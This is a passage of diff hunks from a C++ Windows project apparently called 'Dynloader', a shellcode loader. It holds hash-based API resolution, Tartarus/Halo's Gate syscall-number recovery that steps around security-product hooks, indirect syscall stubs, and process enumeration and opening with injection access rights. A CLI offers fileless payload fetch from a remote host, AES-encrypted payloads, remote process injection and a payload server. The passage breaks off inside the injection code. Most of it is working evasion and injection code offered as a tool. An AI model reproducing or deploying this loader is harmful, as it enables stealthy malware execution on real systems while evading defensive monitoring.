bool WideToLowerAscii(const PeUnicodeString& name, char* out, size_t outCap);
} // namespace PeParser
+65
View File
@@ -0,0 +1,65 @@
#include "api_resolver.hpp"
#include "../pe/pe_parser.hpp"
#include "../common/hashes.hpp"
namespace ApiResolver {
static HMODULE EnsureModule(std::uint32_t moduleHash, const wchar_t* fallbackName);
HMODULE GetNtdll() {
auto* m = PeParser::GetModuleByHash(Hashes::H_NTDLL_DLL);
return m ? m : PeParser::GetModuleByIndex(1);
}
HMODULE GetKernel32() {
auto* m = PeParser::GetModuleByHash(Hashes::H_KERNEL32_DLL);
return m ? m : PeParser::GetModuleByIndex(2);
}
HMODULE GetWs2_32() {
return EnsureModule(Hashes::H_WS2_32_DLL, L"ws2_32.dll");
}
HMODULE GetBcrypt() {
return EnsureModule(Hashes::H_BCRYPT_DLL, L"bcrypt.dll");
}
FARPROC ResolveExport(HMODULE module, std::uint32_t exportHash) {
return PeParser::GetExportByHash(module, exportHash);
}
FARPROC ResolveNtdll(std::uint32_t exportHash) {
return ResolveExport(GetNtdll(), exportHash);
}
FARPROC ResolveWs2(std::uint32_t exportHash) {
return ResolveExport(GetWs2_32(), exportHash);
}
FARPROC ResolveBcrypt(std::uint32_t exportHash) {
return ResolveExport(GetBcrypt(), exportHash);
}
static HMODULE EnsureModule(std::uint32_t moduleHash, const wchar_t* fallbackName) {
HMODULE mod = PeParser::GetModuleByHash(moduleHash);
if (mod) {
return mod;
}
auto* k32 = GetKernel32();
if (!k32) {
return nullptr;
}
using LoadLibraryW_t = HMODULE(WINAPI*)(LPCWSTR);
auto* pLoad = reinterpret_cast<LoadLibraryW_t>(
ResolveExport(k32, Hashes::H_LoadLibraryW));
if (!pLoad || !fallbackName) {
return nullptr;
}
mod = pLoad(fallbackName);
return mod;
}
} // namespace ApiResolver
+19
View File
@@ -0,0 +1,19 @@
#pragma once
#include <Windows.h>
#include <cstdint>
namespace ApiResolver {
// Thin facade over PeParser for reusable dynamic resolution.
HMODULE GetNtdll();
HMODULE GetKernel32();
HMODULE GetWs2_32();
HMODULE GetBcrypt();
FARPROC ResolveExport(HMODULE module, std::uint32_t exportHash);
FARPROC ResolveNtdll(std::uint32_t exportHash);
FARPROC ResolveWs2(std::uint32_t exportHash);
FARPROC ResolveBcrypt(std::uint32_t exportHash);
} // namespace ApiResolver
+236
View File
@@ -0,0 +1,236 @@
#include "tartarus_gate.hpp"
#include "../pe/pe_parser.hpp"
#include "../resolve/api_resolver.hpp"
#include "../common/hashes.hpp"
#include "../common/log.hpp"
#include <cstring>
#include <iostream>
#include <vector>
namespace TartarusGate {
namespace {
std::vector<PVOID> g_stubPages;
// Tartarus Gate: resolve SSN from export stub; if hooked (jmp), walk neighbors (Halo's Gate).
std::uint32_t ExtractSSN(PBYTE stub) {
// Unhooked x64 stub: 4C 8B D1 B8 imm32
if (stub[0] == 0x4C && stub[1] == 0x8B && stub[2] == 0xD1 && stub[3] == 0xB8) {
return *reinterpret_cast<DWORD*>(stub + 4);
}
return 0;
}
std::uint32_t HaloResolve(PBYTE stub) {
for (int j = 1; j <= 500; ++j) {
auto* down = stub + (j * 0x20);
if (down[0] == 0x4C && down[1] == 0x8B && down[3] == 0xB8) {
const auto neighbor = *reinterpret_cast<DWORD*>(down + 4);
return neighbor - static_cast<std::uint32_t>(j);
}
auto* up = stub - (j * 0x20);
if (up[0] == 0x4C && up[1] == 0x8B && up[3] == 0xB8) {
const auto neighbor = *reinterpret_cast<DWORD*>(up + 4);
return neighbor + static_cast<std::uint32_t>(j);
}
}
return 0;
}
static HMODULE NtdllBase() {
return ApiResolver::GetNtdll();
}
static FARPROC NtdllExport(std::uint32_t hash) {
return PeParser::GetExportByHash(NtdllBase(), hash);
}
PVOID AllocStubPage(const void* code, size_t size) {
// Bootstrap stub pages via direct ntdll exports (one-time); all runtime ops use indirect stubs.
auto* pAlloc = reinterpret_cast<fnNtAllocateVirtualMemory>(
NtdllExport(Hashes::H_NtAllocateVirtualMemory));
auto* pProt = reinterpret_cast<fnNtProtectVirtualMemory>(
NtdllExport(Hashes::H_NtProtectVirtualMemory));
if (!pAlloc || !pProt) {
return nullptr;
}
PVOID base = nullptr;
SIZE_T region = size;
if (!NT_SUCCESS(pAlloc(GetCurrentProcess(), &base, 0, &region,
MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE)) || !base) {
return nullptr;
}
std::memcpy(base, code, size);
ULONG old = 0;
PVOID protBase = base;
SIZE_T protSize = region;
if (!NT_SUCCESS(pProt(GetCurrentProcess(), &protBase, &protSize,
PAGE_EXECUTE_READ, &old))) {
return nullptr;
}
g_stubPages.push_back(base);
return base;
}
} // anonymous namespace
std::uint32_t ResolveSSN(HMODULE ntdll, std::uint32_t exportHash) {
if (!ntdll) {
Log::Err("Unable to Resolve SSN %s");
return 0;
}
auto* base = reinterpret_cast<PBYTE>(ntdll);
auto* nt = PeParser::GetNtHeaders(ntdll);
if (!nt) {
return 0;
}
const auto& dir = nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
if (!dir.VirtualAddress) {
return 0;
}
auto* exp = reinterpret_cast<PIMAGE_EXPORT_DIRECTORY>(base + dir.VirtualAddress);
auto* names = reinterpret_cast<PDWORD>(base + exp->AddressOfNames);
auto* ords = reinterpret_cast<PWORD>(base + exp->AddressOfNameOrdinals);
auto* funcs = reinterpret_cast<PDWORD>(base + exp->AddressOfFunctions);
for (DWORD i = 0; i < exp->NumberOfNames; ++i) {
const char* exportName = reinterpret_cast<const char*>(base + names[i]);
if (Hashes::Djb2(exportName) != exportHash) {
continue;
}
auto* stub = base + funcs[ords[i]];
// Tartarus: detect hook (jmp/call redirect).
if (stub[0] == 0xE9 || stub[0] == 0xEB || stub[0] == 0xFF) {
Log::Dbg("SSN resolve: hooked stub @ %p first=0x%02X — Halo's Gate",
stub, stub[0]);
return HaloResolve(stub);
}
auto ssn = ExtractSSN(stub);
if (ssn) {
Log::Dbg("SSN resolve: clean stub @ %p SSN=%u", stub, ssn);
return ssn;
}
Log::Dbg("SSN resolve: clean pattern miss @ %p — Halo's Gate", stub);
return HaloResolve(stub);
}
return 0;
}
PVOID FindSyscallGadget(HMODULE ntdll) {
if (!ntdll) {
return nullptr;
}
auto* base = reinterpret_cast<PBYTE>(ntdll);
auto* nt = PeParser::GetNtHeaders(ntdll);
if (!nt) {
return nullptr;
}
auto* sec = IMAGE_FIRST_SECTION(nt);
for (WORD i = 0; i < nt->FileHeader.NumberOfSections; ++i) {
if (std::memcmp(sec[i].Name, ".text", 5) != 0) {
continue;
}
PBYTE start = base + sec[i].VirtualAddress;
DWORD size = sec[i].Misc.VirtualSize;
for (DWORD off = 0; off + 2 < size; ++off) {
// syscall; ret
if (start[off] == 0x0F && start[off + 1] == 0x05 && start[off + 2] == 0xC3) {
return start + off;
}
}
}
return nullptr;
}
PVOID CreateIndirectStub(std::uint32_t ssn, PVOID gadget) {
if (!gadget || ssn == 0) {
return nullptr;
}
// mov r10, rcx | mov eax, SSN | jmp [rip+0] | dq gadget
static const BYTE hdr[] = {
0x4C, 0x8B, 0xD1,
0xB8, 0x00, 0x00, 0x00, 0x00,
0xFF, 0x25, 0x00, 0x00, 0x00, 0x00
};
BYTE buf[sizeof(hdr) + sizeof(PVOID)] = {};
std::memcpy(buf, hdr, sizeof(hdr));
*reinterpret_cast<DWORD*>(buf + 4) = ssn;
*reinterpret_cast<PVOID*>(buf + sizeof(hdr)) = gadget;
PVOID page = AllocStubPage(buf, sizeof(buf));
return page;
}
bool BindSyscall(SyscallTable& table, std::uint32_t hash, PVOID& outStub, const char* debugTag) {
auto* ntdll = ApiResolver::GetNtdll();
const auto ssn = ResolveSSN(ntdll, hash);
if (!ssn) {
Log::Raw("TartarusGate SSN FAIL hash=0x%08X tag=%s", hash, debugTag);
return false;
}
outStub = CreateIndirectStub(ssn, table.gadget);
if (!outStub) {
Log::Raw("TartarusGate STUB FAIL SSN=%u tag=%s", ssn, debugTag);
return false;
}
Log::Raw("syscall %-28s SSN=%4u stub=%p gadget=%p", debugTag, ssn, outStub, table.gadget);
return true;
}
bool Initialize(SyscallTable& table) {
auto* ntdll = ApiResolver::GetNtdll();
if (!ntdll) {
return false;
}
table.gadget = FindSyscallGadget(ntdll);
if (!table.gadget) {
return false;
}
Log::Banner("Tartarus Gate Init");
Log::Raw("ntdll=%p | indirect syscall; ret gadget=%p", ntdll, table.gadget);
PVOID stub = nullptr;
#define BIND(field, hash, tag) \
if (!BindSyscall(table, hash, stub, tag)) return false; \
table.field = reinterpret_cast<decltype(table.field)>(stub)
BIND(NtAllocateVirtualMemory, Hashes::H_NtAllocateVirtualMemory, "NtAllocateVirtualMemory");
BIND(NtProtectVirtualMemory, Hashes::H_NtProtectVirtualMemory, "NtProtectVirtualMemory");
BIND(NtWriteVirtualMemory, Hashes::H_NtWriteVirtualMemory, "NtWriteVirtualMemory");
BIND(NtFreeVirtualMemory, Hashes::H_NtFreeVirtualMemory, "NtFreeVirtualMemory");
BIND(NtCreateSection, Hashes::H_NtCreateSection, "NtCreateSection");
BIND(NtMapViewOfSection, Hashes::H_NtMapViewOfSection, "NtMapViewOfSection");
BIND(NtUnmapViewOfSection, Hashes::H_NtUnmapViewOfSection, "NtUnmapViewOfSection");
BIND(NtOpenProcess, Hashes::H_NtOpenProcess, "NtOpenProcess");
BIND(NtCreateThreadEx, Hashes::H_NtCreateThreadEx, "NtCreateThreadEx");
BIND(NtClose, Hashes::H_NtClose, "NtClose");
BIND(NtQuerySystemInformation, Hashes::H_NtQuerySystemInformation, "NtQuerySystemInformation");
#undef BIND
table.initialized = true;
return true;
}
void CleanupStubs() {
// Stubs are small RX pages; leak on exit is acceptable for loader lifetime.
g_stubPages.clear();
}
} // namespace TartarusGate
+96
View File
@@ -0,0 +1,96 @@
#pragma once
#include <Windows.h>
#include <cstdint>
#include "../common/nt_types.hpp"
namespace TartarusGate {
// NT syscall typedefs used by the loader.
using fnNtAllocateVirtualMemory = NTSTATUS(NTAPI*)(
HANDLE ProcessHandle, PVOID* BaseAddress, ULONG_PTR ZeroBits,
PSIZE_T RegionSize, ULONG AllocationType, ULONG Protect);
using fnNtProtectVirtualMemory = NTSTATUS(NTAPI*)(
HANDLE ProcessHandle, PVOID* BaseAddress, PSIZE_T RegionSize,
ULONG NewProtect, PULONG OldProtect);
using fnNtWriteVirtualMemory = NTSTATUS(NTAPI*)(
HANDLE ProcessHandle, PVOID BaseAddress, PVOID Buffer,
SIZE_T NumberOfBytesToWrite, PSIZE_T NumberOfBytesWritten);
using fnNtFreeVirtualMemory = NTSTATUS(NTAPI*)(
HANDLE ProcessHandle, PVOID* BaseAddress, PSIZE_T RegionSize, ULONG FreeType);
using fnNtCreateSection = NTSTATUS(NTAPI*)(
PHANDLE SectionHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES_NT ObjectAttributes,
PLARGE_INTEGER MaximumSize, ULONG SectionPageProtection, ULONG AllocationAttributes,
HANDLE FileHandle);
using fnNtMapViewOfSection = NTSTATUS(NTAPI*)(
HANDLE SectionHandle, HANDLE ProcessHandle, PVOID* BaseAddress, ULONG_PTR ZeroBits,
SIZE_T CommitSize, PLARGE_INTEGER SectionOffset, PSIZE_T ViewSize,
ULONG InheritDisposition, ULONG AllocationType, ULONG Win32Protect);
using fnNtUnmapViewOfSection = NTSTATUS(NTAPI*)(
HANDLE ProcessHandle, PVOID BaseAddress);
using fnNtOpenProcess = NTSTATUS(NTAPI*)(
PHANDLE ProcessHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES_NT ObjectAttributes,
PCLIENT_ID_NT ClientId);
using fnNtCreateThreadEx = NTSTATUS(NTAPI*)(
PHANDLE ThreadHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES_NT ObjectAttributes,
HANDLE ProcessHandle, PVOID StartRoutine, PVOID Argument, ULONG CreateFlags,
ULONG_PTR ZeroBits, SIZE_T StackSize, SIZE_T MaximumStackSize,
PVOID AttributeList);
using fnNtClose = NTSTATUS(NTAPI*)(HANDLE Handle);
using fnNtQuerySystemInformation = NTSTATUS(NTAPI*)(
ULONG SystemInformationClass, PVOID SystemInformation,
ULONG SystemInformationLength, PULONG ReturnLength);
using fnNtCreateFile = NTSTATUS(NTAPI*)(
PHANDLE FileHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES_NT ObjectAttributes,
PIO_STATUS_BLOCK_NT IoStatusBlock, PLARGE_INTEGER AllocationSize, ULONG FileAttributes,
ULONG ShareAccess, ULONG CreateDisposition, ULONG CreateOptions, PVOID EaBuffer,
ULONG EaLength);
using fnNtReadFile = NTSTATUS(NTAPI*)(
HANDLE FileHandle, HANDLE Event, PVOID ApcRoutine, PVOID ApcContext,
PIO_STATUS_BLOCK_NT IoStatusBlock, PVOID Buffer, ULONG Length,
PLARGE_INTEGER ByteOffset, PULONG Key);
struct SyscallTable {
fnNtAllocateVirtualMemory NtAllocateVirtualMemory = nullptr;
fnNtProtectVirtualMemory NtProtectVirtualMemory = nullptr;
fnNtWriteVirtualMemory NtWriteVirtualMemory = nullptr;
fnNtFreeVirtualMemory NtFreeVirtualMemory = nullptr;
fnNtCreateSection NtCreateSection = nullptr;
fnNtMapViewOfSection NtMapViewOfSection = nullptr;
fnNtUnmapViewOfSection NtUnmapViewOfSection = nullptr;
fnNtOpenProcess NtOpenProcess = nullptr;
fnNtCreateThreadEx NtCreateThreadEx = nullptr;
fnNtClose NtClose = nullptr;
fnNtQuerySystemInformation NtQuerySystemInformation = nullptr;
PVOID gadget = nullptr;
bool initialized = false;
};
// Tartarus Gate + Halo's Gate SSN resolution by export hash (no API name strings).
std::uint32_t ResolveSSN(HMODULE ntdll, std::uint32_t exportHash);
// Find `syscall; ret` gadget in ntdll .text for indirect syscalls.
PVOID FindSyscallGadget(HMODULE ntdll);
// Build indirect syscall stub: mov r10,rcx / mov eax,SSN / jmp [gadget].
PVOID CreateIndirectStub(std::uint32_t ssn, PVOID gadget);
// Initialize full syscall table with indirect stubs.
bool Initialize(SyscallTable& table);
void CleanupStubs();
} // namespace TartarusGate
+19
View File
@@ -0,0 +1,19 @@
Microsoft Visual Studio Solution File, Format Version 12.00
# Visual Studio Version 18
VisualStudioVersion = 18.0.0.0
MinimumVisualStudioVersion = 10.0.40219.1
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "loader", "loader.vcxproj", "{A1B2C3D4-E5F6-7890-ABCD-EF1234567890}"
EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|x64 = Debug|x64
Release|x64 = Release|x64
EndGlobalSection
GlobalSection(ProjectConfigurationPlatforms) = postSolution
{A1B2C3D4-E5F6-7890-ABCD-EF1234567890}.Debug|x64.ActiveCfg = Debug|x64
{A1B2C3D4-E5F6-7890-ABCD-EF1234567890}.Debug|x64.Build.0 = Debug|x64
{A1B2C3D4-E5F6-7890-ABCD-EF1234567890}.Release|x64.ActiveCfg = Release|x64
{A1B2C3D4-E5F6-7890-ABCD-EF1234567890}.Release|x64.Build.0 = Release|x64
EndGlobalSection
EndGlobal
+98
View File
@@ -0,0 +1,98 @@
<?xml version="1.0" encoding="utf-8"?>
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup Label="ProjectConfigurations">
<ProjectConfiguration Include="Debug|x64">
<Configuration>Debug</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|x64">
<Configuration>Release</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
</ItemGroup>
<PropertyGroup Label="Globals">
<VCProjectVersion>18.0</VCProjectVersion>
<Keyword>Win32Proj</Keyword>
<ProjectGuid>{A1B2C3D4-E5F6-7890-ABCD-EF1234567890}</ProjectGuid>
<RootNamespace>loader_v2</RootNamespace>
<WindowsTargetPlatformVersion>10.0</WindowsTargetPlatformVersion>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>v145</PlatformToolset>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v145</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
<PropertyGroup Label="UserMacros" />
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<SDLCheck>true</SDLCheck>
<!-- /MTd: static debug CRT — no VCRUNTIME*D.dll needed on target -->
<RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary>
<PreprocessorDefinitions>_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
<LanguageStandard>stdcpp20</LanguageStandard>
<AdditionalIncludeDirectories>$(ProjectDir);%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<SDLCheck>true</SDLCheck>
<!-- /MT: static CRT — drop-and-run without vcruntime140.dll / msvcp140.dll -->
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
<PreprocessorDefinitions>NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
<LanguageStandard>stdcpp20</LanguageStandard>
<AdditionalIncludeDirectories>$(ProjectDir);%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
</Link>
</ItemDefinitionGroup>
<ItemGroup>
<ClCompile Include="lib\common\log.cpp" />
<ClCompile Include="lib\pe\pe_parser.cpp" />
<ClCompile Include="lib\resolve\api_resolver.cpp" />
<ClCompile Include="lib\syscall\tartarus_gate.cpp" />
<ClCompile Include="lib\memory\section_map.cpp" />
<ClCompile Include="lib\crypto\aes_crypto.cpp" />
<ClCompile Include="lib\net\http_transport.cpp" />
<ClCompile Include="loader\cli.cpp" />
<ClCompile Include="loader\ingestion.cpp" />
<ClCompile Include="loader\loader_core.cpp" />
<ClCompile Include="loader\main.cpp" />
</ItemGroup>
<ItemGroup>
<ClInclude Include="lib\common\hashes.hpp" />
<ClInclude Include="lib\common\log.hpp" />
<ClInclude Include="lib\common\nt_types.hpp" />
<ClInclude Include="lib\pe\pe_parser.hpp" />
<ClInclude Include="lib\resolve\api_resolver.hpp" />
<ClInclude Include="lib\syscall\tartarus_gate.hpp" />
<ClInclude Include="lib\memory\section_map.hpp" />
<ClInclude Include="lib\crypto\aes_crypto.hpp" />
<ClInclude Include="lib\net\http_transport.hpp" />
<ClInclude Include="loader\cli.hpp" />
<ClInclude Include="loader\ingestion.hpp" />
<ClInclude Include="loader\loader_core.hpp" />
</ItemGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
</Project>
+178
View File
@@ -0,0 +1,178 @@
#include "cli.hpp"
#include <iostream>
#include <cstring>
#include <vector>
namespace Cli {
bool IsVerboseFlag(const char* arg) {
return arg && std::strcmp(arg, "--verbose") == 0;
}
void PrintBanner(){
std::cout << R"raw(
)raw";
}
void PrintUsage() {
std::cout <<
"Dynloader loader\n\n"
"LOCAL:\n"
" loader.exe <file.bin> [--verbose]\n"
" loader.exe --process <name|PID> <file.bin> [--verbose]\n"
" loader.exe --enc AES <file.bin> [--verbose]\n\n"
"FILELESS:\n"
" loader.exe --fileless --source <host[:port]> [--verbose]\n"
" loader.exe --fileless --source <host> --enc AES [--verbose]\n"
" loader.exe --fileless --source <host> --process <name|PID> [--enc AES] [--verbose]\n\n"
"SERVER:\n"
" loader.exe --server <file.bin> [--port 8080] [--verbose] plain\n"
" loader.exe --server --enc AES <file.bin> [--port 8080] [--verbose]\n\n"
"REMOTE Usage:\n"
" Usage --process <name | PID>\n\n"
"DEBUGGING MODE:\n"
" Usage: --verbosE\n";
"FUN Part:\n"
" Use --banner to see suprise\n"
" Usage - ./loader.exe --banner\n\n";
}
static bool IsFlag(const char* a) {
return a && a[0] == '-';
}
static bool IsModeFlag(const char* a) {
return a && (
std::strcmp(a, "--fileless") == 0 ||
std::strcmp(a, "--server") == 0 ||
std::strcmp(a, "--enc") == 0 ||
std::strcmp(a, "--selftest") == 0);
}
Options Parse(int argc, char* argv[]) {
Options opt{};
if (argc < 2) {
opt.mode = Mode::Help;
return opt;
}
for (int i = 1; i < argc; ++i) {
if (IsVerboseFlag(argv[i])) {
opt.verbose = true;
}
}
if (std::strcmp(argv[1], "--selftest") == 0) {
opt.mode = Mode::Normal;
opt.inputPath = "__selftest__";
return opt;
}
if (std::strcmp(argv[1], "--banner") == 0){
opt.mode = Mode::Banner;
return opt;
}
if (std::strcmp(argv[1], "--server") == 0) {
opt.mode = Mode::Server;
// Server uses its own verbose channel (not loader syscall dumps).
if (opt.verbose) {
opt.server_verbose = true;
opt.verbose = false;
}
for (int i = 2; i < argc; ++i) {
if (IsVerboseFlag(argv[i])) {
opt.server_verbose = true;
opt.verbose = false;
continue;
}
if (std::strcmp(argv[i], "--port") == 0 && i + 1 < argc) {
opt.serverPort = static_cast<std::uint16_t>(std::atoi(argv[++i]));
} else if (std::strcmp(argv[i], "--enc") == 0 && i + 2 < argc &&
std::strcmp(argv[i + 1], "AES") == 0) {
opt.useAes = true;
i += 2;
if (i < argc && !IsFlag(argv[i])) {
opt.inputPath = argv[i];
}
} else if (!IsFlag(argv[i])) {
opt.inputPath = argv[i];
}
}
return opt;
}
if (std::strcmp(argv[1], "--enc") == 0 && argc >= 4 && std::strcmp(argv[2], "AES") == 0) {
opt.mode = Mode::Encrypt;
opt.useAes = true;
opt.inputPath = argv[3];
return opt;
}
if (std::strcmp(argv[1], "--fileless") == 0) {
opt.mode = Mode::Fileless;
for (int i = 2; i < argc; ++i) {
if (IsVerboseFlag(argv[i])) {
continue;
}
if (std::strcmp(argv[i], "--source") == 0 && i + 1 < argc) {
opt.sourceHost = argv[++i];
} else if (std::strcmp(argv[i], "--enc") == 0 && i + 1 < argc &&
std::strcmp(argv[i + 1], "AES") == 0) {
opt.useAes = true;
++i;
} else if (std::strcmp(argv[i], "--process") == 0 && i + 1 < argc) {
opt.processTarget = argv[++i];
opt.remoteIngestion = true;
}
}
if (opt.sourceHost.empty()) {
opt.mode = Mode::Help;
}
return opt;
}
// Scan any order: --process <target> <file.bin> [--verbose]
std::string binPath;
for (int i = 1; i < argc; ++i) {
if (IsVerboseFlag(argv[i])) {
continue;
}
if (std::strcmp(argv[i], "--process") == 0 && i + 1 < argc) {
opt.processTarget = argv[++i];
opt.remoteIngestion = true;
continue;
}
if (!IsFlag(argv[i]) && !IsModeFlag(argv[i])) {
if (binPath.empty()) {
binPath = argv[i];
}
}
}
if (!binPath.empty()) {
opt.mode = Mode::Normal;
opt.inputPath = binPath;
return opt;
}
if (!IsFlag(argv[1])) {
opt.mode = Mode::Normal;
opt.inputPath = argv[1];
return opt;
}
opt.mode = Mode::Help;
return opt;
}
} // namespace Cli
+36
View File
@@ -0,0 +1,36 @@
#pragma once
#include <string>
#include <cstdint>
#include <iostream>
namespace Cli {
enum class Mode {
Normal,
Encrypt,
Fileless,
Server,
Help,
Banner
};
struct Options {
Mode mode = Mode::Help;
std::string inputPath;
std::string sourceHost;
std::string processTarget; // --process name or PID (remote ingestion)
std::uint16_t sourcePort = 8080; /// kept default post as 8080
bool useAes = false;
std::uint16_t serverPort = 8080;
bool verbose = false; // loader channel (--verbose on load/fileless/enc)
bool remoteIngestion = false;
bool server_verbose = false; // server channel (--server ... --verbose)
};
bool IsVerboseFlag(const char* arg);
Options Parse(int argc, char* argv[]);
void PrintUsage();
void PrintBanner();
} // namespace Cli
+480
View File
@@ -0,0 +1,480 @@
#include "ingestion.hpp"
#include "../lib/memory/section_map.hpp"
#include "../lib/common/nt_types.hpp"
#include "../lib/common/log.hpp"
#include "../lib/common/hashes.hpp"
#include "../lib/resolve/api_resolver.hpp"
#include <cstring>
#include <cstdlib>
#include <iostream>
#include <string>
namespace Ingestion {
namespace {
constexpr ULONG kInjectAccess =
PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION |
PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ;
std::string NormalizeName(std::string name) {
for (auto& c : name) {
if (c >= 'A' && c <= 'Z') {
c = static_cast<char>(c + 32);
}
}
if (name.size() < 4 || name.substr(name.size() - 4) != ".exe") {
name += ".exe";
}
return name;
}
bool BasenameMatches(const char* imagePath, const std::string& wantNorm) {
if (!imagePath) {
return false;
}
const char* base = std::strrchr(imagePath, '\\');
base = base ? base + 1 : imagePath;
char lower[MAX_PATH] = {};
strncpy_s(lower, base, _TRUNCATE);
CharLowerA(lower);
std::string noExt = wantNorm;
if (noExt.size() > 4 && noExt.substr(noExt.size() - 4) == ".exe") {
noExt = noExt.substr(0, noExt.size() - 4);
}
if (std::strcmp(lower, wantNorm.c_str()) == 0) {
return true;
}
char lowerNoExt[MAX_PATH] = {};
strncpy_s(lowerNoExt, lower, _TRUNCATE);
size_t len = strlen(lowerNoExt);
if (len > 4 && std::strcmp(lowerNoExt + len - 4, ".exe") == 0) {
lowerNoExt[len - 4] = '\0';
}
return std::strcmp(lowerNoExt, noExt.c_str()) == 0;
}
bool IsNumericPid(const std::string& target, DWORD& pid) {
if (target.empty()) {
return false;
}
for (char c : target) {
if (c < '0' || c > '9') {
return false;
}
}
pid = static_cast<DWORD>(std::strtoul(target.c_str(), nullptr, 10));
return pid != 0;
}
bool FindPidByName(TartarusGate::SyscallTable& sc, const std::string& wantNorm, DWORD& outPid) {
Log::Banner("Process Enum (NtQuerySystemInformation)");
Log::Sys("SystemProcessInformation look for image=%s", wantNorm.c_str());
ULONG bufSize = 1 << 20;
std::vector<BYTE> buffer(bufSize);
ULONG retLen = 0;
NTSTATUS st = sc.NtQuerySystemInformation(
SystemProcessInformation, buffer.data(),
static_cast<ULONG>(buffer.size()), &retLen);
Log::NtStatus("NtQuerySystemInformation (pass1)", st);
Log::Dbg("buffer=%lu retLen=%lu", bufSize, retLen);
if (st == static_cast<NTSTATUS>(0xC0000004)) {
Log::Dbg("STATUS_INFO_LENGTH_MISMATCH — resize + retry");
buffer.resize(retLen + 0x4000);
st = sc.NtQuerySystemInformation(
SystemProcessInformation, buffer.data(),
static_cast<ULONG>(buffer.size()), &retLen);
Log::NtStatus("NtQuerySystemInformation (pass2)", st);
}
if (!NT_SUCCESS(st)) {
Log::NtStatus("NtQuerySystemInformation", st);
return false;
}
size_t scanned = 0;
auto* entry = reinterpret_cast<SYSTEM_PROCESS_INFORMATION_NT*>(buffer.data());
for (;;) {
++scanned;
if (entry->ImageName.Buffer && entry->ImageName.Length > 0) {
char name[MAX_PATH] = {};
WideCharToMultiByte(CP_ACP, 0, entry->ImageName.Buffer,
entry->ImageName.Length / static_cast<int>(sizeof(WCHAR)),
name, MAX_PATH - 1, nullptr, nullptr);
if (BasenameMatches(name, wantNorm)) {
outPid = static_cast<DWORD>(reinterpret_cast<ULONG_PTR>(entry->UniqueProcessId));
Log::Sys("Found PID %lu for %s (image=%s) after scanning %zu entries",
outPid, wantNorm.c_str(), name, scanned);
return outPid != 0;
}
}
if (entry->NextEntryOffset == 0) {
break;
}
entry = reinterpret_cast<SYSTEM_PROCESS_INFORMATION_NT*>(
reinterpret_cast<BYTE*>(entry) + entry->NextEntryOffset);
}
Log::Dbg("no match for %s (scanned %zu processes)", wantNorm.c_str(), scanned);
return false;
}
HANDLE OpenProcessSyscall(TartarusGate::SyscallTable& sc, DWORD pid) {
Log::Sys("NtOpenProcess PID=%lu DesiredAccess=0x%08lX "
"(CREATE_THREAD|QUERY|VM_OP|VM_WRITE|VM_READ)",
pid, static_cast<unsigned long>(kInjectAccess));
OBJECT_ATTRIBUTES_NT oa{};
InitObjectAttributes(&oa, nullptr, 0, nullptr, nullptr);
CLIENT_ID_NT cid{};
cid.UniqueProcess = reinterpret_cast<HANDLE>(static_cast<ULONG_PTR>(pid));
cid.UniqueThread = nullptr;
HANDLE h = nullptr;
NTSTATUS st = sc.NtOpenProcess(&h, kInjectAccess, &oa, &cid);
Log::NtStatus("NtOpenProcess", st);
if (!NT_SUCCESS(st)) {
return nullptr;
}
Log::Sys("NtOpenProcess OK handle=%p", h);
return h;
}
HANDLE OpenProcessWin32(DWORD pid) {
Log::Dbg("fallback OpenProcess (Win32 hash-resolved) PID=%lu", pid);
auto* k32 = ApiResolver::GetKernel32();
if (!k32) {
Log::Dbg("kernel32 base null");
return nullptr;
}
using OpenProcess_t = HANDLE(WINAPI*)(DWORD, BOOL, DWORD);
auto* pOpen = reinterpret_cast<OpenProcess_t>(
ApiResolver::ResolveExport(k32, Hashes::H_OpenProcess));
if (!pOpen) {
Log::Dbg("OpenProcess export resolve failed");
return nullptr;
}
HANDLE h = pOpen(kInjectAccess, FALSE, pid);
if (!h) {
